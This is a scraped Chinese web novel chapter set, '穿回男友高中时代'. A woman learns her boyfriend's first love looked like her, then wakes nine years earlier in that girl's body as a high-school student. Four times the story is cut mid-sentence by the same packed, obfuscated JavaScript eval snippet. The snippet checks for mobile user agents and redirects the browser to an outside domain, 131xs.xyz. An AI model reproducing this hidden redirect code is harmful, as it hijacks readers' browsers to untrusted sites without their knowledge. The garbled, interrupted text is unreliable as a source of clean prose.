《穿回男友高中时代》 1. 聚会 窗外的景色不断飞逝,车内温度适宜,富有节奏感的乐声充斥着耳膜。齐柏嚼着口香糖,肩膀随曲声打着节拍,耸动得很有规律。 直到音响的播放键被人按了暂停。 齐柏顿时嚷嚷道:“哎哎哎——妹儿,你关我音乐做什么?” 车后座的少年面容昳丽。她肤色白皙,五官精致,微微上挑的眼尾让这份漂亮又带了点儿攻击性,一眼望去分外摄人心魄。 鼓噪的乐声总算停了,沈安宴乐得清净,闻言懒洋洋地应道:“看你听得太入迷,我怕一个不小心油门被你当刹车踩了,然后把咱们俩一起送上西天。” 齐柏笑道:“怎么可能——” 她拍了一把方向盘,自信道:“姐这技术好着呢!哪怕车开到天上去了,也保准能把咱们姐妹俩安安稳稳地送下来!” 沈安宴懒得理会对方这句贫嘴。 反正闹人的音乐已经关了,她重新窝回沙发里。昨天睡得有点晚,她打算趁这会儿功夫稍微补个觉。 手机微微震动了一下,有消息提示音响起。 休息被打扰,沈安宴的眉头不自觉皱了起来,但在看到来信显示人时,她原本不耐烦的神色骤然缓和了下来。 顾辞江:[探头] 顾辞江:现在忙吗? 沈安宴下意识笑了笑,点进聊天界面向对方发去了消息。 沈安宴:在车上。 沈安宴:怎么了? 顾辞江:聚会结束后我可以来接你吗? 顾辞江:今晚想吃什么? 顾辞江:[卖萌] 顾辞江:好想你。 沈安宴又笑了。 她一条一条耐心地回复。 沈安宴:好,等结束了我给你发信息。 沈安宴:炸鸡,烧烤,还有街上新开那家店的蛋糕。 沈安宴:我也想你。 顾辞江:[害羞] 顾辞江:好,我去准备! 顾辞江:晚上吃太多对胃不好,我把炸鸡换成粥可以吗? 沈安宴:好。 齐柏从后视镜里看到了对方难掩高兴的神色,大概是见自己这位一向清冷的妹妹难得露出这样腻歪的表情,她忍不住打趣道:“哟,和哪个哥哥弟弟聊天呢?” 沈安宴道:“辞江。” 齐柏:“哦——你那位新欢?” 沈安宴熄灭屏幕,在听到对方这句话时瞬间冷下脸色,纠正道:“我没有旧爱,他也不是新欢,顾辞江是我正儿八经的男朋友。” 她顿了顿,又补充道:“以后不要再开这种玩笑了,我不喜欢。” 齐柏讪笑道:“行行行,姐知道了,别生气别生气。” 她看了自家这陷入热恋期的妹妹一眼,颇有些苦恼地叹了口气。 齐柏当然听说过顾辞江的大名,海城顾家谁不知道,沿海一带的对外贸易几乎都捏在顾家手里,说是富可敌国也不为过。顾辞江作为顾家孙辈唯一的继承人,这些年被放到内地历练,如今已在京城初露锋芒,成为一时间风头无量的新贵。 据齐柏所见,这位顾家继承人城府颇深,手段狠辣,在商场上更是雷厉风行。跟自己这位赋闲在家搞艺术的妹妹简直像是两个世界的人。 也不知道这俩是怎么看对眼的。 齐柏长长地叹了口气。 若是自家妹妹跟对方只是玩玩儿也就罢了,现在看来,沈安宴恐怕是认真对待这段关系的,她有点怕妹妹会吃亏。 愁人啊…… —————— “……这就是你说的‘只是来唱个歌’?” 沈安宴面无表情地问道。 眼前的建筑极尽奢华,会馆大厅前侯着两队排列整齐的迎宾人员,个个模样标志,体型匀称。 进去后,里面的装横更不必说,大理石铺就的地板泛着晶莹的亮光,氛围灯打下一片迷蒙暧昧的暖光,低缓抒情的乐曲更是让这里蒙上了一层神秘的面纱。 要不是齐柏带她到达的三楼的确是正常K歌的包厢,沈安宴绝对会立马掉头走人的。 齐柏打着哈哈:“来都来了,玩玩儿再走呗!年轻人,一天到晚闷在家里像什么样!” 沈安宴叹了口气,认命地跟着对方进了包厢。 里面有不少人,看起来都和齐柏很是熟识的样子,一见面双方就热热闹闹地打起了招呼。 有人注意到沈安宴,立刻吹了一声口哨,朝齐柏调侃道:“哟,齐姐,最近又喜欢上女的了?” 齐柏道:“去去去,这是我妹!” 那人“嘿嘿”了两声,意有所指地问道:“哪个妹妹啊?” 齐柏无语道:“妹妹还分哪个哪个的,我表妹!一个姥姥生的,亲得不能再亲了!” 知道是真妹妹了,众人这才不再调笑。和齐柏关系好的几个朋友招呼两人坐下了。 沈安宴对这种人多的环境兴致缺缺,坐下后就开始低头看手机打发时间,中途齐柏问了她几次要不要唱个歌,都被沈安宴拒绝掉了。 有人看不过去,故意起哄道:“齐姐,你这妹妹也太不够意思了,唱个歌而已,又不是喝酒,这点儿面子都不给?” 这人的态度并不显恶意,齐柏身边的朋友又是惯爱开玩笑的,因此她没放在心上,敷衍道:“我妹性格比较内向,她不想唱就不唱呗。” 一些人却因此误解了齐柏的意思,还当她对自己这个妹妹并不放在心上,沈安宴又生得漂亮,这些人早就蠢蠢欲动,此时便愈发没了顾忌。 “这怎么行,哪能不给齐姐面子呢!” “小妹,唱个歌又掉不了块肉,别这么不懂事嘛!” “就是,唱一个呗?” 再反应不过来,齐柏这些年在圈子里也算白混了。她沉了脸色,将端在手中的酒杯放了下来。 杯底碰在桌面上发出了一道不轻不重的声响。 那些起哄声瞬间停了。 沈安宴按住齐柏的手,止住对方要发火的冲动。 “对,唱个歌又掉不了块肉,那就唱呗。”她笑眯眯地说道。 沈安宴走到点歌台边,慢悠悠地搜索着自己喜欢的歌曲,不一会儿,轻快甜美的童谣在包厢中响起。 “小兔子乖乖,把门儿开开,快点儿开开,我要进来……” 齐柏本来一肚子火,结果见妹妹这个操作又被逗得笑出了声。 身边的朋友见她笑了,这才也跟着笑了起来。 离齐柏近的人敢说几句“哎,你这妹妹真有意思”之类的话打打圆场,离得远的,尤其是没眼色先挑事儿的那几个,就只敢跟着陪笑。 一屋子人被迫听了半个小时的童歌,沈安宴方才大发慈悲停下了放歌的手。 “这下可以了吗?”她问道。 哪有人敢说不可以。 沈安宴便收了手,朝齐柏道:“姐,我出去走走,屋里闷。” 齐柏道:“去吧去吧,本来也没什么意思。下次姐带你去别的地方玩儿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198038|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈安宴应了一声“好”,揣上手机离开了包厢。 她方才在包厢里没吃什么东西,出来后索性去前台点了一杯热可可喝。 谁知大概是今天出门没看黄历吧,她一天之内竟然能连着遇见两个不识好歹的东西。 结账时,不知从哪里冒出来一个发胶男,热情地表示愿意帮她付款。 沈安宴客客气气地道:“不用了,我有钱。” 发胶男道:“哎,小姑娘,这是什么话。你看你年纪轻轻的,还没工作吧。长辈挣钱也不容易,你花钱也不能太大手大脚了。” 沈安宴深感莫名其妙,怎么现在一个两个的,都这么爱在外边儿当别人爹。 她丢下一句“钱没处花可以捐给希望工程”,就直接向服务员出示了付款码。服务员小姐收款收得相当利索,没给发胶男留下一点发挥的余地。 发胶男见套近乎没套成,只好另辟蹊径。 “姑娘,我看你有点眼熟……” 沈安宴翻了个白眼,端上热可可就准备走人。 发胶男总算不端着了,赶忙说明自己的来意。 “等等!我要跟你说顾辞江的事儿!” 顾辞江? 沈安宴这才停下脚步,回头看向对方:“行,你说吧。” 发胶男道:“你知不知道,顾辞江以前交过一个女朋友?” 沈安宴平静地“哦”了一声。 发胶男:……这么淡定的吗? 这倒不是沈安宴薄情寡淡,毕竟顾辞江今年也有二十四岁了,谈过恋爱也没什么稀奇。唯一让沈安宴不解的是,两人刚在一起时聊过彼此恋爱经历的话题,对方明明说过自己是他的初恋。不过到底是个什么情况,沈安宴直接问男朋友本人就好。顾辞江和对面这个神经兮兮的发胶男,谁更靠谱还是很容易分辨的。 发胶男原本胜券在握的人设有些碎了,他看出来了沈安宴不是自己认为的“正常人”,眼看着对方话不投机又要走,他急急忙忙地补充道:“你知不知道,顾辞江以前的女朋友叫盛宴,你可以翻他们学校的官网,上面能找到他女朋友的照片,你和她长得一模一样!” 但沈安宴的脚步停都没有停一下,身影很快消失在了门外。 只剩下发胶男在原地气急败坏。 服务生小姐吃够了瓜,见状微笑着提醒道:“男士,公众场合请保持安静。” —————— “妹儿,怎么突然要回去?我骟他爷爷的,是不是刚才那几个孙子惹你不高兴了?你等我,我这就给你收拾他们去!” 离开会所后,沈安宴就给齐柏发送了自己要回去的信息。消息刚发出没一会儿,齐柏的电话就打了过来。接着就是一串含直系亲属量极高的长篇大论。 沈安宴无奈道:“是有点不高兴,不过不是因为那些人,你别担心。” 齐柏道:“那你等等,我开车送你回去。” 沈安宴道:“不用,有人来接我。” 齐柏:“谁来接你……噢噢,那行,你注意安全哈。” 挂掉电话后,沈安宴沉默片刻,还是给顾辞江发了信息。 沈安宴:有时间吗? 顾辞江几乎是秒回了她的信息。 顾辞江:有,不忙。 顾辞江:聚会结束了吗?这么快?我现在来接你。 [系统提示:对方发起了位置共享] 沈安宴发了一会儿呆,方才回复了一个“好”字,又加入了位置共享。 2. 分歧 沈安宴记得自己第一次遇见顾辞江,是春节学校放假的那天下午。 说好要来接她回家的亲姐放了她鸽子,沈安宴提着大包小包的行李,站在人来人往的大学校园门口,天上还下着小雪,看着自家姐姐毫无诚意的“放心,找了朋友过来帮忙,车牌号发你了,自己找找”,只觉得分外凄凉。 有点冷,沈安宴打了个喷嚏,又抬头看向门外堵得密不透风的车流,不仅凄凉,还觉得头大。 她费力地提着行李,勉强在人海中穿梭着。唯一能给她点慰藉的,大概只有来接她的车挺特别,没让自己在找车途中浪费太多时间。 沈安宴对车子了解不多,但也能看出面前的车非常高级。车窗上应该贴了防窥膜或者别的什么东西,反正从外面看不到车里的场景。 她走到靠驾驶座一侧的车门,轻轻敲了敲窗户。 车窗缓缓摇了下来,一张清俊的面容映入了她的眼帘。 沈安宴与车上的男人对上了视线。 目光交汇的一瞬间,她注意到男人很明显地怔住了。 直到她试探地挥了挥手,对方才回过神来,忙下车帮她将行李放上了后车厢。 “我叫顾辞江,辞别的辞,江水的江。” 车上,顾辞江帮沈安宴系好安全带后,客气地自我介绍道。 “沈安宴,平安的安,宴会的宴。”沈安宴礼貌性地回复道。 顾辞江笑了笑。 “很好听的名字。” 放长假这几天是学校车流量最大的时候。短短几十米的路程,硬是开了快半个小时才勉强驶出了路口。 沈安宴略有些不自在,心里偷偷埋怨着自家不靠谱的姐姐。 顾辞江似乎看出了她的想法,主动开口道:“没事的,我今天不忙,慢一点也没有关系。” 沈安宴道:“抱歉,给您添麻烦了。” 顾辞江顿了顿,宽慰道:“不用觉得抱歉。我和你姐姐关系很好……” 按理来说,这一句后面应该跟着一句“所以她的妹妹也是我的妹妹”,不过顾辞江没说这句话,而是直接道:“所以我很高兴能帮得到你。” 沈安宴点了点头,又说了一句“谢谢您”。 顾辞江无奈道:“我看起来很老吗?” 沈安宴茫然地看向对方:“啊?不老啊,您很年轻。” 顾辞江玩笑道:“从见面到现在,你已经对我说了三个‘您’了。” 沈安宴有些尴尬地咳两声,解释道:“抱歉,在学校这样说习惯了。” 顾辞江笑道:“理解,我以前上学的时候也习惯这样。” 这么一打岔,两人间的氛围轻松了不少。顾辞江很会聊天,一路上他从没有让两人之间冷场过,更不会令沈安宴觉得无聊。对方自然而然引出的每一个话题,都是沈安宴所喜欢的。她很久没有遇到过这样与自己合拍的人了。 也因此,在分别的时候,沈安宴少有的主动拿出了手机,想要与对方加上联系方式。 “好巧。”同样拿出了手机的顾辞江笑道,“看来我们想到一块儿去了。” ———— 沈安宴回忆到此处,忽然将手上喝完的空瓶子扔了出去。 她没有撒谎,她现在的确很不开心。 不用专门去查顾辞江以前学校的官网,盛宴这个名字,已经足够她明白一切。 她曾在顾辞江的房间里见过一个笔记本,款式是很多年前的了,早已不再流行,边缘甚至有些褶皱泛黄,每一页都写满了同一个名字。 盛宴。 沈安宴深呼吸一口气,将扔在地上的瓶子捡了起来,走到垃圾桶旁边丢了进去。 她随便找了条长椅坐了下来,大脑罕见得有些空白。 她忽然不知道该怎么去面对顾辞江。 不知坐了多久,有人从身后揽住了她,熟悉的鸢尾香气包裹住了沈安宴。 “怎么坐在外面?冷不冷?” 顾辞江低声笑道。 沈安宴没有说话。 “……怎么了,不开心?” 顾辞江很快察觉到了对方低落的心情。他替沈安宴披上外套,声音放得轻了又轻。 “我给你买了蛋糕,是你说过的那家,就放在车上。要不要吃一点?”他问道。 沈安宴深吸了一口气。她调整好了自己的情绪,回答道:“我有事情想和你说……我们先回家,好吗?” 顾辞江立刻应下:“好,走吧。” 回去路上,沈安宴注意到了顾辞江频频看过来的视线。但她只将目光投向车外,没有回应过一次对方欲言又止的眼神。 她在路上做了很多次预设,该怎么和对方提起这件事。但真到了这一刻,她还是选择了最直白的方式。 “我今天听说了一些事。” 沈安宴说。 “你有一个叫作盛宴的恋人,对吗?” 顾辞江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198039|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣住了。 他沉默了许久,最终还是闭着眼睛承认了。 “是。” “我和她长得很像?” “……是。” 沈安宴问出了最后一个问题。 “那么,顾辞江,你把我当什么?” 顾辞江道:“我不知道该怎么和你解释……” 他语气急切,但说出这句话时却格外郑重。 “我绝没有把你当成任何人,你就是你。” 沈安宴轻轻叹了口气。 她最后说道:“我们分开一段时间吧,我想我们都需要冷静一下。” ———— 沈安宴收拾东西准备离开时,顾辞江拦住了她。 “我公司里还有一些事要处理,最近不回来住。” 他没敢看对方,语气里几乎带了些祈求:“不要走好不好,就住在这里。” 他没等对方回复,立刻拿上钥匙离开了家,背影看上去甚至有些狼狈。 沈安宴站在原地发了一会儿呆,才注意到沙发上的外套。 外面零下十多度,顾辞江出去时似乎只穿了一件单衣。 在意识到这点时,她已经抱起外套走了出去。 但已经找不到人了。 沈安宴愣在电梯口,这才想到,对方带了钥匙,就算没穿外套应该也没傻到不会坐去车里。自己真是关心则乱了。 就在这时,电梯门忽然打开了。 沈安宴条件反射地往后退了一步。 电梯里的人也被门外的沈安宴吓了一大跳。 “哎呦我去,差点儿吓死我……哎,你是来取外卖的吧?是沈安宴吗?”外卖员问道。 沈安宴“嗯”了一声。 “行,你拿着吧。” 沈安宴拿着外卖回了屋子。 里面装着热乎乎的粥,还有她最爱吃的那几样烤串。 里面夹了便签条,风格和顾辞江一模一样。 “记得趁热吃,不要因为心情不好就不吃饭,好好照顾自己。” 沈安宴有些疲惫地用双手捂住了脸。 她当然喜欢顾辞江,这是她多年以来第一次这么喜欢一个人。 但也正是因为这样喜欢,才让她无法对如今的分歧轻拿轻放。 沈安宴随便应付了两口,就去了客房睡觉。 今天发生的事太多了,她需要好好整理一下自己,才有精力去想接下来该怎么做。 3. 逆流 怎么说呢,沈安宴的心情……现在略有些复杂。 任谁一觉醒来,发现自己莫名其妙来到了一个完全陌生的地方,手机钱包都丢了个遍,一看日历发现自己竟然来到了九年前,都会当场宕机的吧。 房门被人大力敲响了,一道像是破锣的声音粗声粗气地响了起来。 “这个月房租都拖了多久了,再不交就收拾东西滚蛋!” 嚯,多么熟悉的剧情。开局就要睡大街。沈安宴犹豫半响,明智地选择了不出声。 催租人敲了半天门没见着回应,又骂骂咧咧地离开了。 沈安宴微微松了口气。还好还好,最坏的情况没有发生。要是对方一个不顺心打算硬闯进来,她还真有点头大。 沈安宴环视一圈,决定先把房子检查一遍,看看能不能找到什么有用的线索。 这是一座很老式的房子,只有一室一厅,从窗户向外看去,是沈安宴从前只在电视上见到过的那种破老小居民区。 沈安宴长这么大,还从没住过这样简陋破败的房子。 室内陈设更不必说,能夸的大概只有一个“麻雀虽小,五脏俱全”了,家具都不知道是第几手的。这里的季节是夏天,空调自然是没有的,只有一只风扇在勤勤恳恳地运作,吹出一点聊胜于无的热风。 沈安宴抹了把额上的汗珠,这也是她第一时间判断出自己不是被绑架而是穿越了的原因之一。总不能是她被绑去了赤道,或者全球一夜之间大升温,前一天还是寒冬,眼睛一睁又是一片绿意浓浓了。 左右环境已经这样了,沈安宴也不愿做没用的抱怨。她在衣柜里找了一身看起来比较干净的短袖短裤换上,又拿起屋子里唯一比较的特别的东西翻看—— 一只灰色的书包。 里面放着教材,封皮不是沈安宴所熟悉的。她看多看了一眼,发现这是高二的课本。 除了课本,里面还有入学手续、学生档案以及身份证一类的东西。其它的沈安宴不好随意乱动,她便先拿起了身份证看。 上面的头像于她而言并不陌生,因为那就是她自己的样子。 右侧姓名栏上写着一个名字—— 盛宴。 沈安宴愣住了。 ———— 海城一中,高二二班。 放眼望去,只能看到一片萎靡不振的脑袋。 假期刚刚结束,大家的新鲜劲儿还没过去,就不得不再次进入学校这个大铁笼,一时间活气儿都虚弱了不少。 尽管距离晚自习开始已经过去了半个小时,但班上依旧没多少人真正投入到学习的状态,大家要么是双目无神魂儿还在家里落着,要么就是奋笔疾书赶假期作业的进度。 唯一看起来似乎是在认真读书的同学也有些可疑,毕竟再热爱学习的人也不可能对着课本露出一脸花痴的笑容,再者书页又不是键盘,大概也是不需要指头在上边儿点来点去的。 李欣然紧紧抿住嘴巴,这才勉强抑制住即将要脱出口的尖叫。 她眼睛闪亮亮的,正聚精会神地盯着工作室最新发布的通告。 她的女神小C要来海城开音乐会了!天大的好消息!要不是顾忌着现在还在教室上自习,她简直恨不得绕着操场跑上十圈,一边跑一边放声高歌! 激动心情正无法与人分享时,屏幕上好巧不巧弹出了一条新的消息。 是隔壁班和她关系不错的一个同学,问她正在做什么。 李欣然下手如飞,打字速度恨不得能在屏幕上溅起一片火花。她一气呵成打了有上百字的小作文来表达自己能去参加女神演唱会的兴奋心情。 可令她不解的是,消息发出后就如石沉大海,李欣然左等右等,始终没等来好友的回复。 她正准备发信息问对方怎么突然不说话了,就听到教室门“嘎吱”一声开了。 班里悄声说话或是借作业的动静霎时间停了一瞬,在发现来人是外班同学时,又重新恢复了原来的放松氛围,继续各干各的事去了。 只有少数几个好事的同学依旧将注意力集中在了来人身上,想看看对方要做什么。 李欣然就是其中之一,不过她可不是因为好事,而是因为来人正是给她发消息的那个外班好友。 好友也明显是过来找她的。对方一进教室,就目的明确地小跑来了李欣然的座位,压低声音问道:“你回复我给你发的消息了吗?” 李欣然有点疑惑地点了点头。 好友捂住额头,哀声叹了口气,加快了说话的语速:“我手机被老班没收了,她在钓鱼执法,你赶紧想办法把你手机藏起来。我还要去通知其他人,先不说了。” 李欣然还没来得及反应,好友就已经溜出了门外。 这下要完,李欣然可没有藏过手机的经验。现在又是上课时间,她又没胆子随便乱走,只得急急忙忙地向同桌求救道:“同桌同桌,江湖救急,能让我把手机放你抽屉里吗,求求了求求了!” 李欣然的同桌是个戴眼镜的男生,对方闻言翻了个白眼,嫌弃道:“我跟你离得这么近,万一班主任也来我这儿查呢,不就要被你连累了。” 对方话说到这份上,李欣然也不好强求。可除了同桌,她周围又没有熟识的人。教室外已经有脚步声响起,听着像是往她们班的方向来的。李欣然急得团团转,心想实在不行把手机丢垃圾桶里算了。 就在这时,后桌的同学轻轻拍了拍她的肩膀。 “我帮你收着吧。” 李欣然回头看去,惊喜地瞪大了眼睛。 “谢谢谢谢,顾辞江你简直就是我的救命恩人,我回头请你吃饭!” 顾辞江接过手机,放在书包夹层里藏好,闻言笑着应道:“不客气。好了,快点转回去,不然老师看见了铁定就知道是我帮你藏的手机了。” 李欣然听了立刻转身装作认真复习的样子。没一会儿,教室门再次被推开了,这次班里彻底安静了下来。 “有些同学啊,我真都懒得说你了。你说高一吧贪玩点儿我还能理解。这都高二了,心思还不放在学习上……” 班主任背着手,说到“学习上”这三个字儿时正好走到了李欣然旁边。 “李欣然,看谁呢,说的就是你!手机交出来!” 李欣然使出她毕生最高规格的演技,努力装出了一幅茫然的样子,无辜地反问道:“啊……啊?老师,我没拿手机啊,我手机在家里放着呢!” 班主任才不吃她这一套,见对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198040|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死不承,当即便冷笑一声,让对方从座位上走开亲自去搜。 李欣然尽量从容地离开了座位,心里则默默捏了一把冷汗。 同桌眼镜男忍不住看了一眼顾辞江,好在班主任正低头翻桌兜,没注意到他那一眼。 顾辞江低头写着作业,那态度竟比李欣然还淡定。 班主任里里外外查了一遍,可惜没有发现半点手机的踪影。 李欣然壮着胆子道:“老师,你看完了吧,我都说我没带了。我还要复习呢!” 班主任看了对方一眼,怀疑地问道:“你不会让别人帮你藏起来了吧?” 李欣然装作不在意的样子耸耸肩:“我真放家里了,信不信由你。” 有和李欣然关系好的同学趁机道:“老师,后天还有开学考呢,我想好好复习。” 言下之意就是嫌老师太吵了。 班主任站起身,挥挥手让李欣然回座位去。 “算了,这次放过你。再有下次,绝对不会再这么容易算了的!” 李欣然默默坐回自己的座位,没有再露出什么夸张的表情。 等老师离开一会儿后,确认过短时间内应该不会再有人来,李欣然微微向后靠了靠,悄声道:“哎,顾辞江,手机给我吧。万一老班等会儿反悔又要查我周围的人。我拿了等会儿丢窗户外边去,更保险一点。” 顾辞江“嗯”了一声,将手机拿了出来准备递给对方,结果一只突如其来的手从中间截胡,将手机从顾辞江手里拿了过去。 那是一只很好看的手,五指修长,骨节分明。如果干的不是夺人所爱的事,那么这张手一定会颇为赏心悦目的。 顾辞江蒙了一下。 李欣然也意识到了不对。她回头看去,只见身后站着一个同学,高中生俗气的蓝白二色校服穿在她身上竟然格外地好看,可见对方的颜值有多么能打。这位同学一手抱着记分表,一手握着刚刚收缴上来的手机,周围人竟然谁也没有注意到对方是什么时候进来、又是什么时候走到这里的。 这简直比教导主任还要可怕啊! 李欣然在心底无声尖叫着。 记分同学看了两人一眼,公事公办道:“上学不能带手机,这个我没收了。” 李欣然耷拉着眉眼,可怜兮兮地哀求道:“同学,同学,别没收啊,我真不是故意的!你能不能当没看见啊,求求了求求了。” 可惜记分同学并不为她的真情流露所动容,仍然铁面无私地拿着手机离开了。 顾辞江道:“抱歉,我还你手机的时候没注意有人过来。” 李欣然连忙摆摆手:“不怪你不怪你,那人跟幽灵似的,走路都没声。” 李欣然还想说什么,却见对方忽然轻轻地咳了一下,低下头不再说话了。 若是不知道发生了什么,她这十六年的学也算是白上了。李欣然火速回过头,桌上那本从自习到现在一直停在第一单元导语的书总算被她象征性地翻了几页。 真是说曹操曹操到,教导主任从前门进来后就站在了李欣然身边,低声警告了一句:“注意点儿。” 李欣然唯唯诺诺地应下了,心道自己今天也不知是触了什么霉头,一个两个的都要跟她过不去。 4. 早餐 沈安宴轻轻敲了敲门,得到许可后,方才走进了办公室。 靠饮水机的办公位上坐着一个老太太,鼻梁上架着一幅老花眼镜,注意到来人时,很是亲切地招呼道:“哎,是盛宴同学吗,过来过来。” “我是你的班主任,姓姜,名字是姜鹤。”姜老师接过对方的学籍档案,语气和蔼地介绍着自己。 “你高一休学了一年,在家有预习过课本吗?现在你最重要的任务是把进度赶上来。这说难也难,说简单也简单,最主要的是踏踏实实地学。也别给自己的太大的压力,有不会的多问老师同学,平时下课了勤往办公室跑……” 沈安宴乖乖地站在一边听着,时不时应上两声“是”。 穿越过来的这段时间,她已经把自己目前的状况弄明白了个七七八八。 这个新身份的主人名字是盛宴,今年十九岁,和沈安宴的岁数一样。 根据她在书包里翻到的资料来看,盛宴是个孤儿,从小在福利院长大,学习成绩很不错,中考那年还是市第一,成功被本地最好的海城一中录取。 她本来上学就上得晚,中考那年又生了一场大病,不得不休了两年学,导致现在入学比同龄人大了些岁数。 成年后的孩子不再归福利院管,沈安宴如今的学费和生活费都要靠自己来凑。 姜老师明显也知道她的情况,因此在嘱咐过学习上的事后,又问了她生活上的情况。 沈安宴答道:“没什么大问题,您不用担心。” 姜老师道:“不要勉强自己,有什么困难及时和老师说,老师会帮你想办法的。” 该说的事情都说完了,姜老师最后总结道:“差不多就是这些了,你的教材就放在我这儿,刚好直接拿回去,就不用来回折腾了。” 她一边说一边把课本抱了过来,姜老师一把年纪了,力气还不小,有半条胳膊那么高的书她竟能一气呵成地从地上搬到桌子上。 沈安宴吓了一跳,忙上前去搭了把手。 搬完了书,姜老师还颇为热心肠地帮忙一起装。沈安宴没反应过来,对方就已经接过了她的书包,准备把书往里面放。 于是包里的手机便这么一览无余地展现在了对方眼皮子底下。 沈安宴:……完了,忘把手机藏起来了。 那正是她刚刚路过二班,看到教导主任在走廊上巡查,装学生会委员顺手收缴上来的手机。 姜老师疑惑道:“你这是……” 沈安宴道:“我第一次来,怕有需要用到手机的地方,就问房东借了她的备用机。” “噢噢噢,这样。这次就算了,以后来学校记得不能带手机哈。” 沈安宴点头应是。 收拾好教材后,姜老师就领着对方到班里去了。 沈安宴被分到了一班,简单介绍过后,姜老师就给她安排好了座位。 沈安宴的同桌是个颇为外向的女生,名字也很好记,叫做贺晴天,是班上的班长。 对方是个热情性子,沈安宴刚坐下来没一会儿,对方就已经可汗大点兵把各科老师都给点了个遍。 “语文就是咱们老班教的,她你也见过了,脾气很好的,只要别犯原则性的问题,她都很好说话,是咱们全校公认的最好的老师!” “数学老师超级有梗,她的课特别有意思!就是管得严,嘴也毒,凶起来骂哭过不少人。英语老师……呃,有点难评,总之敬而远之就对了。政治课花活儿很多,不过很水,看你个人爱好听不听吧。地理课得认真听,老师讲得简直是开了十倍速,走个神就从经纬线跨到人口基数去了。至于历史……哎,害,这门你手速要快。” 沈安宴听得晕乎,到这里时疑惑道:“为什么手速要快?” 贺晴天道:“看老师快走到你这儿的时候,要及时把数学卷子藏起来。” 沈安宴:“啊……啊?” 对方讲完老师,又开始讲学校食堂的黑红榜。沈安宴总觉得好像漏了什么,提醒道:“那个,物化生老师呢,怎么没听你讲?” 贺晴天奇怪道:“咱们是文科班,这三门又不重要,每周体育都要比它们多一节呢。” 沈安宴缓缓睁大了眼睛:“这怎么行?这三门不考试吗?” 贺晴天道:“考啊,不过就考个合格性检测,又不参与高考,题目都很简单,高一学的基本都够用了……哦,不过你确实得上点心,要是有哪里不会可以问我啊!” 注意到这位新同桌忽然有些凝重的表情,贺晴天疑惑道:“你怎么了?” 未来因为大力提倡德智体美劳全面发展因此高考总共要考十三门的沈安宴摇了摇头,又忍不住感慨道:“真羡慕你们,好轻松啊。” 贺晴天:……新同桌疯了吗? 前桌的小姑娘忽然转过身来,亮着眼睛问道:“同学同学,我能问一下你是走读还是住校啊?” 沈安宴道:“走读。” 不知道为什么,沈安宴这一句话说完,周围人的目光忽然都集聚在了她身上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198041|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 前桌按捺住欢呼,目光中流露出了堪称狂热的情绪。 “那那那……那我能再冒昧地问一下,你方便带早饭来学校吗?” 沈安宴点了点头:“方便的。” 前桌双手合十,两眼放光:“那你愿意帮我带早饭吗?” 沈安宴无奈:“可以的,你想吃什么?” 前桌道:“我不挑的!有的吃就行!你哪个方便带哪个就好!” 沈安宴和前桌说完,一转头又对上了同桌期待的眼神。 贺晴天:“同桌,你们也不想自己的事情被别人发现吧……” 沈安宴:……好冷的梗。 答应了也帮贺晴天带饭后,沈安宴刚准备预习一下课本,肩膀就被旁边的人拍了拍。 对方很不好意思地握拳咳了咳,问道:“那什么,同学,方便再多带一份早餐吗?” 沈安宴忽然有了点不好的预感。 抬头望去,果不其然,周围的同学几乎都带上了同样热切的神色在看着她。 ………… 到放学的时候,沈安宴已经收到了二十多份早餐订单。要不是贺晴天看不下去及时制止,这数量恐怕还能再翻个倍。 “适可而止啊适可而止,都过来带饭,等明天小宴背一行李箱的早饭过来,不被主任抓才怪!” 就这么一个晚自习的功夫,沈安宴在贺晴天那里,已经从“需要照顾的同桌”成功升级为“好姐妹小宴”了。 有人不服气地嘟囔道:“班长,你不也让新同学带饭了吗?” 贺晴天眉头一扬:“近水楼台先得月的道理懂不懂啊,我的同桌,我肯定有优先带饭权!” 沈安宴迷茫道:“那个,打扰一下,咱们班除了我没别的人能帮忙带饭了吗?” 前桌闻言大为悲痛:“你是咱们班唯一一个走读生啊!小宴你是不知道,你来之前大家过得都是什么生活啊!” 